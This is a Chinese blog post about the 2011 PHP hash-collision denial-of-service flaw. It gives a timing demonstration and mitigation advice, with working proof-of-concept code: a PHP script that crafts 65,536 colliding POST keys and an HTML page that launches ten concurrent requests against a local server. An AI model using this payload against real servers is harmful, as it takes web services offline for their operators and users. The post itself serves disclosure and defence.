关于最近PHP的Array(hash)爆出的冲突问题(可进行DDOS)
最近(貌似是28号)从国外(地址:http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html)爆出了一个关于Array的新PHP冲突,可以利用调用hash表的冲突对服务器进行拒绝服务攻击。
原理(详见:http://www.laruence.com/2011/12/29/2412.html)
目前很多语言, 使用hash来存储key – value数据,包括常用的来自用户的POST数据,攻击者可以通过构造请求头,并伴随POST大量的特殊的”key”值(根据每个语言的Hash算法不同而定制),使得语言底层保存POST数据的Hash表因为”冲突”(碰撞)而退化成链表。
这样一来,如果数据量足够大, 那么就可以使得语言在计算,查找,插入的时候, 造成大量的CPU占用,从而实现拒绝服务攻击。
详细内容:http://www.laruence.com/2011/12/30/2435.html
一个小测试
<?php
$size = pow(2, 16);
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo '插入 ' . $size . ' 个恶意的元素需要 ' . $endTime - $startTime . ' 秒' . "\n";
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo '插入 ' . $size . ' 个普通元素需要 ' . $endTime - $startTime . ' 秒' . "\n";
/**
* 结果
*
* 插入 65536 个恶意的元素需要 36.357950925827 秒
* 插入 65536 个普通元素需要 0.029613018035889 秒
*/
DDOS实例
这里要悲剧一下,在自己笔记本电脑上测试的时候,把自己弄死机了…… = =!
把下面3个文件放在同一目录下,例为127.0.0.1绑定的目录。访问http://127.0.0.1/ddos.html,然后打开任务管理器监视CPU使用情况。
response.php 这个文件里面里可以什么都不写,只要它存在就行,因为攻击PHP代码本身是无法解决的,所以不用鸟它里面是什么
<?php ?>
ddos.php 测试攻击代码
<?php
set_time_limit(0);
/**
* 设置变量
*/
$host = '127.0.0.1'; //域名
$uri = '/response.php'; //建立一个名为response.php的php文件,里面什么都不用写
$data = ''; //拼接攻击参数
$size = pow(2, 16);
for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {
$data .= '&array[' . $key . ']=0';
}
/**
* 发送攻击请求
*/
$str = "POST {$uri} HTTP/1.1\r\n";
$str .= "Host: {$host}\r\n";
$str .= "Content-type: application/x-www-form-urlencoded\r\n";
$str .= "Content-length: " . strlen($data) . "\r\n";
$str .= "Connection: close\r\n";
$str .= "\r\n";
$str .= "{$data}\r\n";
$fp = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp)
die('err');
fputs($fp, $str);
$s = '';
while (!feof($fp))
$s .= fgets($fp, 1024);
fclose($fp);
echo 'ok';
ddos.html 文件中的内容很简单,仅做了<=10次并发(浏览器对同一域名的并发请求有限制)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>DDOS</title> </head> <body> <iframe src="ddos.php?a=1"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=2"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=3"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=4"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=5"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=6"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=7"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=8"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=9"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> <iframe src="ddos.php?a=0"scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe> </body> </html>
如何防范
- 在php.ini中限制post数据的长度,不过这个治标不治本。
- 升级到php 5.3.9或5.4。
- 如果你的php版本是5.2,可以使用php官方补丁(来源:http://www.laruence.com/2011/12/30/2440.html),地址:https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
声明
本文旨在让相关人士了解到此冲突,并且认识它的严重性,文中部分原创代码也仅用于冲突测试,请不要用于非法行为。
!! 声明:
本文基于 BY-NC-SA (中文) 协议进行授权.
转载请注明转自:[ 东海博客 ]
文章链接:[ http://www.xingdonghai.cn/a-new-supercolliding-with-array-of-php/ ]
↑向后一步:Mysql全文索引无插件非分词实现方案
2
以下同学对本文有所表示……老师说看帖不回是不对滴。来,表示表示吧......
各种分类
本类下的其他内容
- Sphinx 2.0.3 Windows下安装与使用说明, 附查询实例
- 低资源占用的PHP通配符生成字符串算法
- 织梦(DedeCms)调用上级栏目(父类)文章的方法(附代码)
- 关于最近PHP的Array(hash)爆出的冲突问题(可进行DDOS)
- Mysql全文索引无插件非分词实现方案
- 最新可用的百度指数批量查询工具,2011年10月出品,仅供团队内部使用
- 关于PHP的trim()函数,说给理解错误的同学
- PHP调用t.cn新浪短网址服务API(JSON版)
- My First WordPress Theme – XDH-Crayon
- DedeCms HTML自动生成插件 autocreateHTML V1.5.4正式版发布
最新评论与回复








logos
老兄, 你这主题太帅了,能不能分享下?
2012-01-06 18:22:08 此童鞋站了围观人群的最中间,成为了神一般的存在...
Sea
暂时不行,等有时间再完善下的,好多地方还没弄
2012-01-06 21:41:29 此童鞋纵身跳到了最中间,试图与他人争夺神的资格...